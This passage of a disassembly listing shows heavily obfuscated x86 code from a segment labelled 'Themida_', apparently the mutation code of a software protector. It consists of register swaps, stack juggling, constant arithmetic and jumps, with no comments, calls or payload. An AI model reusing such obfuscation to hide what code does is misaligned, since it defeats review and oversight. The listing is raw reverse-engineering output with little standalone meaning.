		jmp	loc_559EE6
; ---------------------------------------------------------------------------


loc_55AF52:				; CODE XREF: Themida_:005548F5j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		jmp	loc_5597C1
; ---------------------------------------------------------------------------


loc_55AF66:				; CODE XREF: Themida_:005542AFj
		add	esi, edi
		jmp	loc_55A415
; ---------------------------------------------------------------------------


loc_55AF6D:				; CODE XREF: Themida_:0055E1C6j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_553798
; ---------------------------------------------------------------------------


loc_55AF84:				; CODE XREF: Themida_:0055C6B3j
		push	ecx
		jmp	loc_55AC53
; ---------------------------------------------------------------------------


loc_55AF8A:				; CODE XREF: Themida_:00558664j
		and	eax, ebp
		mov	ebp, [esp]
		push	4F13h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5572C4
; ---------------------------------------------------------------------------


loc_55AFA4:				; CODE XREF: Themida_:0055579Fj
		pop	edi
		add	edi, 1BA02B02h
		add	edi, 3CCB2DC8h
		add	edi, edx
		jmp	loc_555183
; ---------------------------------------------------------------------------


loc_55AFB8:				; CODE XREF: Themida_:0055643Aj
		push	edx
		mov	edx, esp
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	210A75AEh
		jmp	loc_5580CA
; ---------------------------------------------------------------------------


loc_55AFCC:				; CODE XREF: Themida_:0055985Cj
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	7ECAh
		mov	[esp], esi
		mov	esi, 4
		add	ebx, 2ECE2F20h
		add	ebx, esi
		sub	ebx, 2ECE2F20h
		pop	esi
		push	ebp
		mov	ebp, 2C393A58h
		or	ebp, 5AC1DE8h
		shl	ebp, 4
		add	ebp, 6D8D63E8h
		jmp	loc_55411A
; ---------------------------------------------------------------------------


loc_55B008:				; CODE XREF: Themida_:0055367Bj
		pop	edx
		jmp	loc_55570F
; ---------------------------------------------------------------------------


loc_55B00E:				; CODE XREF: Themida_:0055BC25j
		mov	ebp, edi
		jmp	loc_553225
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55D27F
; ---------------------------------------------------------------------------


loc_55B023:				; CODE XREF: Themida_:0055A90Ej
		not	ebp
		sub	ebp, 0ECE0C2F7h
		add	edx, 486F1A87h
		sub	edx, ebp
		sub	edx, 486F1A87h
		jmp	loc_5558D0
; ---------------------------------------------------------------------------


loc_55B03E:				; CODE XREF: Themida_:005554C5j
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		pop	ebx
		jmp	loc_55E8A1
; ---------------------------------------------------------------------------


loc_55B069:				; CODE XREF: Themida_:0055BC5Cj
		pop	eax
		push	79Fh
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		jmp	loc_556DAC
; ---------------------------------------------------------------------------


loc_55B07A:				; CODE XREF: Themida_:0055A916j
		mov	ebx, esp
		push	eax
		mov	eax, 2944223Dh
		push	ebx
		mov	ebx, 3A611A5Ch
		dec	ebx
		shl	ebx, 8
		sub	ebx, 5EC1A14h
		add	ebx, 14FE00A5h
		jmp	loc_5542FC
; ---------------------------------------------------------------------------


loc_55B09D:				; CODE XREF: Themida_:0055E946j
		mov	edx, 0FF82390h
		not	edx
		sub	edx, 8204CF69h
		jmp	loc_5552A4
; ---------------------------------------------------------------------------


loc_55B0AF:				; CODE XREF: Themida_:005561FCj
		xor	eax, edx
		jmp	loc_55CDF4
; ---------------------------------------------------------------------------


loc_55B0B6:				; CODE XREF: Themida_:0055E9AEj
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55B0C5:				; CODE XREF: Themida_:005556D9j
		sub	ecx, 4FD800DBh
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55B0E1:				; CODE XREF: Themida_:00558E23j
		add	edx, 0FFFFFFFFh
		xor	edx, 7F2517E3h
		xchg	eax, edx
		not	eax
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		inc	edx
		push	3390h
		jmp	loc_558800
; ---------------------------------------------------------------------------


loc_55B101:				; CODE XREF: Themida_:005595FCj
		sub	esp, 4
		mov	[esp], edi
		neg	dword ptr [esp]
		pop	edi
		push	ebx
		push	edx
		jmp	loc_55C3C5
; ---------------------------------------------------------------------------


loc_55B112:				; CODE XREF: Themida_:005537AAj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5578C6
; ---------------------------------------------------------------------------


loc_55B11B:				; CODE XREF: Themida_:0055A363j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4B9Fh
		mov	[esp], edx
		jmp	loc_5568CC
; ---------------------------------------------------------------------------


loc_55B134:				; CODE XREF: Themida_:00559D1Bj
		pop	ebx
		jmp	loc_554C21
; ---------------------------------------------------------------------------


loc_55B13A:				; CODE XREF: Themida_:00556BC2j
		inc	ebp
		xor	ebp, 0AB240275h
		mov	edx, ebp
		jmp	loc_5555A1
; ---------------------------------------------------------------------------


loc_55B148:				; CODE XREF: Themida_:00557682j
		push	28EDh
		mov	[esp], eax
		mov	eax, 15FDDF3h
		jmp	loc_55734D
; ---------------------------------------------------------------------------


loc_55B15A:				; CODE XREF: Themida_:005551ACj
		pop	esp
		jmp	loc_555EA8
; ---------------------------------------------------------------------------


loc_55B160:				; CODE XREF: Themida_:00558A84j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_557197
; ---------------------------------------------------------------------------


loc_55B16D:				; CODE XREF: Themida_:00556153j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55CD70
; ---------------------------------------------------------------------------


loc_55B17C:				; CODE XREF: Themida_:00554495j
		xor	ebx, 3C3C1AEFh
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 31DD38B6h
		push	edx
		jmp	loc_55DF34
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		mov	bh, 0C7h
		jmp	loc_55E71C
; ---------------------------------------------------------------------------


loc_55B19E:				; CODE XREF: Themida_:0055615Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55A773
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_558ED5
; ---------------------------------------------------------------------------


loc_55B1D0:				; CODE XREF: Themida_:00554024j
		pop	eax
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5592DA
; ---------------------------------------------------------------------------


loc_55B1DF:				; CODE XREF: Themida_:00555F90j
		add	ax, 2946h
		sub	ax, 0CC6h
		sub	ax, 7018h
		sub	esp, 2
		mov	[esp], dx
		mov	dx, 9097h
		push	si
		jmp	loc_55DEB2
; ---------------------------------------------------------------------------


loc_55B1FD:				; CODE XREF: Themida_:00553ABAj
		and	ecx, 57057DAFh
		push	esi
		mov	esi, 7B350B6h
		or	ecx, esi
		pop	esi
		sub	ecx, 8A0F3BF3h
		sub	ebx, 3CFF788Ch
		add	ebx, ecx
		jmp	loc_553B59
; ---------------------------------------------------------------------------


loc_55B21F:				; CODE XREF: Themida_:005556C6j
		sub	eax, 3326089h
		dec	eax
		shl	eax, 7
		add	eax, 40CE2473h
		jmp	loc_55D594
; ---------------------------------------------------------------------------


loc_55B232:				; CODE XREF: Themida_:00554516j
		pop	ebp
		add	esp, 4
		add	eax, ebx
		push	103Bh
		mov	[esp], ebx
		mov	ebx, 13190D4Dh
		add	eax, ebx
		pop	ebx
		push	2B1Bh
		jmp	loc_55B7B9
; ---------------------------------------------------------------------------


loc_55B255:				; CODE XREF: Themida_:0055ACB1j
		mov	eax, 1D1654C2h
		sub	eax, 0EAD3042h
		not	eax
		sub	eax, 7801B7E2h
		xor	ebx, eax
		pop	eax
		add	edx, ebx
		push	dword ptr [esp]
		jmp	loc_55A985
; ---------------------------------------------------------------------------


loc_55B273:				; CODE XREF: Themida_:0055B45Ej
		push	edi
		push	ecx
		mov	ecx, 14D60F45h
		shl	ecx, 5
		jmp	loc_55DCBE
; ---------------------------------------------------------------------------


loc_55B282:				; CODE XREF: Themida_:00555B0Cj
		push	eax
		jmp	loc_55BDE4
; ---------------------------------------------------------------------------


loc_55B288:				; CODE XREF: Themida_:0055B924j
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 7FD470D2h
		add	ebp, 42152571h
		dec	ebp
		push	ebx
		mov	ebx, 4F971D5Dh
		jmp	loc_55BF66
; ---------------------------------------------------------------------------


loc_55B2A2:				; CODE XREF: Themida_:0055823Cj
		shl	edx, 3
		not	edx
		shl	edx, 6
		shr	edx, 5
		neg	edx
		sub	edx, 41B70447h
		sub	eax, edx
		pop	edx
		mov	esi, eax
		jmp	loc_559EB3
; ---------------------------------------------------------------------------


loc_55B2BF:				; CODE XREF: Themida_:00556E84j
		mov	edx, 0EA40504h
		jmp	loc_55CCDE
; ---------------------------------------------------------------------------


loc_55B2C9:				; CODE XREF: Themida_:0055E20Cj
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 16DD01FDh
		xchg	edi, ebx
		neg	edi
		xchg	edi, ebx
		add	ebx, 16DD0201h
		sub	edi, 5AD1460Eh
		jmp	loc_554F0E
; ---------------------------------------------------------------------------


loc_55B2F3:				; CODE XREF: Themida_:0055DC66j
		add	edx, 0DD0D57B5h
		shr	edx, 6
		jmp	loc_55E324
; ---------------------------------------------------------------------------


loc_55B301:				; CODE XREF: Themida_:0055CA89j
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		add	eax, 38216C4Eh
		movzx	ax, byte ptr [eax]
		push	small 564Fh
		mov	[esp], ax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55B31F:				; CODE XREF: Themida_:00556970j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55A5BD
; ---------------------------------------------------------------------------


loc_55B336:				; CODE XREF: Themida_:0055DE1Cj
		pop	ebp
		jmp	loc_556E25
; ---------------------------------------------------------------------------


loc_55B33C:				; CODE XREF: Themida_:0055DF2Fj
		dec	ch
		neg	ch
		add	ch, 39h
		add	al, ch
		jmp	loc_55C82C
; ---------------------------------------------------------------------------


loc_55B34A:				; CODE XREF: Themida_:00558920j
		mov	esi, esp
		push	ebp
		push	edx
		push	29C93291h
		pop	edx
		shl	edx, 1
		xor	edx, 6933591h
		or	edx, 307631C9h
		jmp	loc_55D701
; ---------------------------------------------------------------------------


loc_55B367:				; CODE XREF: Themida_:00555FE3j
		pop	esi
		jmp	loc_554544
; ---------------------------------------------------------------------------


loc_55B36D:				; CODE XREF: Themida_:0055C91Cj
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 5C220A6Dh
		jmp	loc_557AAD
; ---------------------------------------------------------------------------


loc_55B37E:				; CODE XREF: Themida_:0055CF3Ej
		sub	ebx, ebp
		jmp	loc_556201
; ---------------------------------------------------------------------------


loc_55B385:				; CODE XREF: Themida_:00559804j
		xor	edi, 91D0184h
		jmp	loc_55A4E9
; ---------------------------------------------------------------------------


loc_55B390:				; CODE XREF: Themida_:0055E875j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	esi
		push	726B0296h
		jmp	loc_554BCC
; ---------------------------------------------------------------------------


loc_55B3A6:				; CODE XREF: Themida_:0055EC6Bj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55E36F
; ---------------------------------------------------------------------------


loc_55B3B4:				; CODE XREF: Themida_:0055ED4Ej
		pop	ecx
		sub	al, bl
		jmp	loc_55D9B6
; ---------------------------------------------------------------------------


loc_55B3BC:				; CODE XREF: Themida_:0055937Aj
		sub	ebx, 277D2882h
		sub	ebx, ebp
		jmp	loc_55CEE5
; ---------------------------------------------------------------------------


loc_55B3C9:				; CODE XREF: Themida_:00556FCAj
		or	eax, edi
		pop	edi
		xor	eax, 0E1CD3D0Bh
		sub	ebx, eax
		pop	eax
		sub	esi, ebx
		pop	ebx
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5599A0
; ---------------------------------------------------------------------------


loc_55B3ED:				; CODE XREF: Themida_:00557202j
		mov	eax, 6B21347Fh
		sub	eax, 31D6B4BAh
		sub	ecx, eax
		pop	eax
		or	ecx, 7551479Ah
		jmp	loc_5545E1
; ---------------------------------------------------------------------------


loc_55B405:				; CODE XREF: Themida_:00557BFCj
		push	edx
		mov	edx, 0F0414DFh
		mov	esi, 48595F8Dh
		add	esi, edx
		pop	edx
		xor	[esp+4], esi
		pop	esi
		jmp	loc_55D3DF
; ---------------------------------------------------------------------------


loc_55B41D:				; CODE XREF: Themida_:00559D0Cj
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_553BDD
; ---------------------------------------------------------------------------


loc_55B430:				; CODE XREF: Themida_:0055DB42j
		pop	esp
		xchg	eax, edx
		push	3575h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 1
		sub	esp, 4
		jmp	loc_55B72E
; ---------------------------------------------------------------------------


loc_55B448:				; CODE XREF: Themida_:00558750j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_55D4E9
; ---------------------------------------------------------------------------


loc_55B45A:				; CODE XREF: Themida_:00552DF7j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55B273
; ---------------------------------------------------------------------------


loc_55B463:				; CODE XREF: Themida_:00557DA7j
		add	ebp, 0BE6A9103h
		or	edx, ebp
		pop	ebp
		or	edx, 4E646A80h
		jmp	loc_55E3D2
; ---------------------------------------------------------------------------


loc_55B477:				; CODE XREF: Themida_:0055CE34j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	bh, dl
		push	edx
		mov	dl, bh
		mov	[edi+eax*4+1], dl
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55A620
; ---------------------------------------------------------------------------


loc_55B4A2:				; CODE XREF: Themida_:005535CCj
		sub	al, 0F8h
		sub	al, dh
		add	al, 0F8h
		jmp	loc_556340
; ---------------------------------------------------------------------------


loc_55B4AD:				; CODE XREF: Themida_:005575F6j
		mov	cx, [esp]
		add	esp, 2
		push	dword ptr [esp]
		jmp	loc_55B878
; ---------------------------------------------------------------------------


loc_55B4BC:				; CODE XREF: Themida_:0055E98Bj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B7E1
; ---------------------------------------------------------------------------


loc_55B4CA:				; CODE XREF: Themida_:0055DB73j
		pop	eax
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_55DFFA
; ---------------------------------------------------------------------------


loc_55B4DE:				; CODE XREF: Themida_:00554285j
		xor	esi, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_559FE9
; ---------------------------------------------------------------------------


loc_55B4ED:				; CODE XREF: Themida_:00557811j
		mov	dl, 7
		push	eax
		mov	al, 81h
		jmp	loc_556A3F
; ---------------------------------------------------------------------------


loc_55B4F7:				; CODE XREF: Themida_:0055CD48j
		pop	eax
		push	ebp
		mov	ebp, 6FF9721Fh
		neg	ebp
		inc	ebp
		xor	ebp, 2DFE5F14h
		inc	ebp
		sub	ebp, 78E25561h
		add	eax, 209D2BEEh
		sub	eax, ebp
		sub	eax, 209D2BEEh
		pop	ebp
		sub	eax, ebp
		add	eax, 45167D96h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552FA8
; ---------------------------------------------------------------------------


loc_55B52D:				; CODE XREF: Themida_:005562ACj
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55B533:				; CODE XREF: Themida_:0055C1DBj
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1
		add	eax, 0ED64C07h
		add	eax, 3DC570EDh
		jmp	loc_55392E
; ---------------------------------------------------------------------------


loc_55B552:				; CODE XREF: Themida_:00556A79j
		pop	ebp
		sub	eax, 1
		shl	eax, 3
		jmp	loc_5558AC
; ---------------------------------------------------------------------------


loc_55B55E:				; CODE XREF: Themida_:005582E1j
		sub	esi, ebx
		jmp	loc_557B0C
; ---------------------------------------------------------------------------


loc_55B565:				; CODE XREF: Themida_:00556240j
		xchg	esi, [esp]
		jmp	loc_555264
; ---------------------------------------------------------------------------


loc_55B56D:				; CODE XREF: Themida_:005554E5j
		pop	ecx
		jmp	loc_556FCF
; ---------------------------------------------------------------------------


loc_55B573:				; CODE XREF: Themida_:00558E87j
		sub	ebp, 55162317h
		sub	ebp, 20C2638Bh
		add	ebp, ebx
		add	ebp, 20C2638Bh
		push	edi
		mov	edi, 54D25F42h
		xor	edi, 344D2809h
		not	edi
		neg	edi
		sub	edi, 0B895435h
		add	ebp, edi
		pop	edi
		jmp	loc_557C99
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	14DAh
		jmp	loc_554456
; ---------------------------------------------------------------------------


loc_55B5B3:				; CODE XREF: Themida_:00554641j
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	al, dh
		jmp	loc_55E78F
; ---------------------------------------------------------------------------


loc_55B5C5:				; CODE XREF: Themida_:00553CF4j
		pop	ebp
		jmp	loc_556F3D
; ---------------------------------------------------------------------------


loc_55B5CB:				; CODE XREF: Themida_:0055F119j
		xchg	ebp, [esp]
		jmp	loc_553541
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	39BAh
		mov	[esp], edx
		push	5B4Fh
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 3E2165BEh
		push	edx
		push	ebx
		mov	ebx, 5C3A56CAh
		push	edi
		mov	edi, 681F5E3Ch
		jmp	loc_553A30
; ---------------------------------------------------------------------------


loc_55B613:				; CODE XREF: Themida_:0055D9DCj
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55AEEF
; ---------------------------------------------------------------------------


loc_55B62F:				; CODE XREF: Themida_:0055E36Aj
		mov	cl, 0D4h
		jmp	loc_558C37
; ---------------------------------------------------------------------------


loc_55B636:				; CODE XREF: Themida_:00555B00j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552ECA
; ---------------------------------------------------------------------------


loc_55B648:				; CODE XREF: Themida_:0055DCB9j
		and	eax, edx
		pop	edx
		push	3E3Bh
		mov	[esp], eax
		push	ebx
		push	7054h
		mov	[esp], edx
		mov	edx, 1254E12h
		jmp	loc_55864B
; ---------------------------------------------------------------------------


loc_55B666:				; CODE XREF: Themida_:0055DABCj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5587D4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6C1Dh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], edx
		push	2
		jmp	loc_55AD1A
; ---------------------------------------------------------------------------


loc_55B6AD:				; CODE XREF: Themida_:00553AEAj
		pop	edi
		push	esi
		jmp	loc_557F7E
; ---------------------------------------------------------------------------


loc_55B6B4:				; CODE XREF: Themida_:00558D31j
		xchg	edi, [esp]
		pop	esp
		and	ebx, ebp
		pop	ebp
		or	ebx, ebx
		jnz	loc_554864
		push	eax
		push	ebp
		jmp	loc_5565CF
; ---------------------------------------------------------------------------


loc_55B6CA:				; CODE XREF: Themida_:00559419j
		push	ebx
		mov	ebx, 69EA2880h
		sub	ebx, 1
		xor	ebx, 79E91FB6h
		neg	ebx
		jmp	loc_555C5B
; ---------------------------------------------------------------------------


loc_55B6E3:				; CODE XREF: Themida_:0055B723j
		pop	ecx
		jmp	loc_55D104
; ---------------------------------------------------------------------------


loc_55B6E9:				; CODE XREF: Themida_:00553BC4j
		shr	ebx, 6
		neg	ebx
		jmp	loc_554936
; ---------------------------------------------------------------------------


loc_55B6F3:				; CODE XREF: Themida_:0055AA2Fj
		mov	ecx, 9EE0FF9h
		not	ecx
		push	ebp
		mov	ebp, 4BBA19FBh
		shl	ebp, 6
		not	ebp
		inc	ebp
		neg	ebp
		jmp	loc_555C23
; ---------------------------------------------------------------------------


loc_55B70D:				; CODE XREF: Themida_:0055E487j
		dec	bh
		sub	bh, 0B8h
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 23h
		sub	al, ch
		add	al, 23h
		jmp	loc_55B6E3
; ---------------------------------------------------------------------------


loc_55B728:				; CODE XREF: Themida_:0055EB70j
		push	eax
		jmp	loc_55EC70
; ---------------------------------------------------------------------------


loc_55B72E:				; CODE XREF: Themida_:0055B443j
		mov	[esp], ecx
		pop	ebx
		mov	ecx, [esp]
		push	1D3Fh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55BD1C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4BDh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55DA79
; ---------------------------------------------------------------------------


loc_55B757:				; CODE XREF: Themida_:005576A1j
		pop	eax
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_553776
; ---------------------------------------------------------------------------


loc_55B769:				; CODE XREF: Themida_:0055C693j
		pop	ebx
		add	eax, edi
		jmp	loc_55A619
; ---------------------------------------------------------------------------


loc_55B771:				; CODE XREF: Themida_:005556C0j
		xor	ecx, edi
		xchg	eax, ecx
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	644C2F34h
		jmp	loc_55C555
; ---------------------------------------------------------------------------


loc_55B785:				; CODE XREF: Themida_:00555E42j
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 41054D33h
		jmp	loc_558966
; ---------------------------------------------------------------------------


loc_55B7A0:				; CODE XREF: Themida_:0055EC11j
		or	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, 5C445857h
		inc	edx
		shl	edx, 1
		jmp	loc_559F1B
; ---------------------------------------------------------------------------


loc_55B7B9:				; CODE XREF: Themida_:0055B250j
		mov	[esp], edx
		push	ebp
		mov	ebp, 62B25ACFh
		add	ebp, 49471DB2h
		jmp	loc_556BBC
; ---------------------------------------------------------------------------


loc_55B7CD:				; CODE XREF: Themida_:0055CAC0j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5575E3
; ---------------------------------------------------------------------------


loc_55B7E1:				; CODE XREF: Themida_:0055B4C5j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55C900
; ---------------------------------------------------------------------------


loc_55B7EC:				; CODE XREF: Themida_:00554CF7j
		push	eax
		jmp	loc_556C87
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	6490h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		push	4
		pop	edi
		jmp	loc_559069
; ---------------------------------------------------------------------------


loc_55B822:				; CODE XREF: Themida_:005595C8j
		mov	bl, 0ACh
		sub	bl, dl
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_556A15
; ---------------------------------------------------------------------------


loc_55B834:				; CODE XREF: Themida_:0055D803j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, 4C064C6Ah
		mov	esi, eax
		pop	eax
		neg	esi
		sub	esi, 9573A1DDh
		add	ecx, esi
		pop	esi
		push	ebx
		push	ecx
		push	7A552F8Ah
		pop	ecx
		push	ebx
		jmp	loc_55BCEF
; ---------------------------------------------------------------------------


loc_55B865:				; CODE XREF: Themida_:0055AA29j
		pop	ecx
		push	553Bh
		mov	[esp], ebx
		mov	bh, 9Ah
		push	ecx
		mov	ch, 92h
		jmp	loc_55BE8C
; ---------------------------------------------------------------------------


loc_55B878:				; CODE XREF: Themida_:0055B4B7j
		pop	ecx
		add	esp, 4
		jmp	loc_55D2EF
; ---------------------------------------------------------------------------


loc_55B881:				; CODE XREF: Themida_:0055C7DAj
		mov	[esp], esp
		jmp	loc_5596F6
; ---------------------------------------------------------------------------


loc_55B889:				; CODE XREF: Themida_:0055D4FBj
		sub	ebx, 37AC614Ch
		jmp	loc_55513A
; ---------------------------------------------------------------------------


loc_55B894:				; CODE XREF: Themida_:0055A4D6j
		mov	ecx, 6FF3192Bh
		mov	edx, ecx
		pop	ecx
		jmp	loc_55EDD2
; ---------------------------------------------------------------------------


loc_55B8A1:				; CODE XREF: Themida_:0055EBB1j
		add	esp, 4
		push	cx
		mov	ch, 10h
		sub	al, ch
		pop	cx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 0CAh
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0F4h
		xor	ah, 0F5h
		sub	dl, ah
		jmp	loc_553BC9
; ---------------------------------------------------------------------------


loc_55B8D9:				; CODE XREF: Themida_:0055DFD8j
		push	edx
		mov	dl, 3
		mov	bh, dl
		jmp	loc_55A2E7
; ---------------------------------------------------------------------------


loc_55B8E3:				; CODE XREF: Themida_:005586FFj
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_55E6D9
; ---------------------------------------------------------------------------


loc_55B8F0:				; CODE XREF: Themida_:00554866j
		cmp	eax, edx
		jz	loc_55A54D
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 20h
		jmp	loc_556A46
; ---------------------------------------------------------------------------


loc_55B908:				; CODE XREF: Themida_:005559B2j
		pop	ecx
		jmp	loc_557BA4
; ---------------------------------------------------------------------------


loc_55B90E:				; CODE XREF: Themida_:0055AC23j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553A29
; ---------------------------------------------------------------------------


loc_55B91C:				; CODE XREF: Themida_:0055A01Fj
		push	5016h
		mov	[esp], ebx
		jmp	loc_55B288
; ---------------------------------------------------------------------------


loc_55B929:				; CODE XREF: Themida_:00559312j
		or	ch, 8Fh
		neg	ch
		xor	ch, 55h
		add	bl, 0D7h
		jmp	loc_55BBFB
; ---------------------------------------------------------------------------


loc_55B939:				; CODE XREF: Themida_:0055C862j
		sub	edx, 188B6FE8h
		jmp	loc_558503
; ---------------------------------------------------------------------------


loc_55B944:				; CODE XREF: Themida_:0055D86Cj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55A9CB
; ---------------------------------------------------------------------------


loc_55B96A:				; CODE XREF: Themida_:005592DBj
		mov	[esp], edi
		jmp	loc_5558EE
; ---------------------------------------------------------------------------


loc_55B972:				; CODE XREF: Themida_:0055F1A8j
		mov	ecx, [eax]
		pop	eax
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_55644C
; ---------------------------------------------------------------------------


loc_55B988:				; CODE XREF: Themida_:005588FAj
		push	eax
		mov	eax, 4
		jmp	loc_554554
; ---------------------------------------------------------------------------


loc_55B993:				; CODE XREF: Themida_:00556963j
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_55771B
; ---------------------------------------------------------------------------


loc_55B9A1:				; CODE XREF: Themida_:00559BB6j
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55C796
; ---------------------------------------------------------------------------


loc_55B9B2:				; CODE XREF: Themida_:005540E0j
		mov	edi, 2E2C3081h
		sub	esi, edi
		pop	edi
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	[esp+4], ecx
		jmp	loc_555A74
; ---------------------------------------------------------------------------


loc_55B9CB:				; CODE XREF: Themida_:0055933Dj
		push	eax
		mov	eax, 2C7B5FC5h
		sub	edi, 13A260F1h
		add	edi, 3EE53D2Dh
		sub	edi, eax
		jmp	loc_55CC26
; ---------------------------------------------------------------------------


loc_55B9E4:				; CODE XREF: Themida_:0055999Bj
		push	ebp
		mov	ebp, 37E936DFh
		add	ebp, 10BB52E9h
		and	ebp, 75EA7832h
		add	ebp, 21D1018h
		shl	ebp, 3
		xor	ebp, 6AC56395h
		add	ebp, 80D25CAFh
		add	ecx, ebp
		jmp	loc_554F1B
; ---------------------------------------------------------------------------


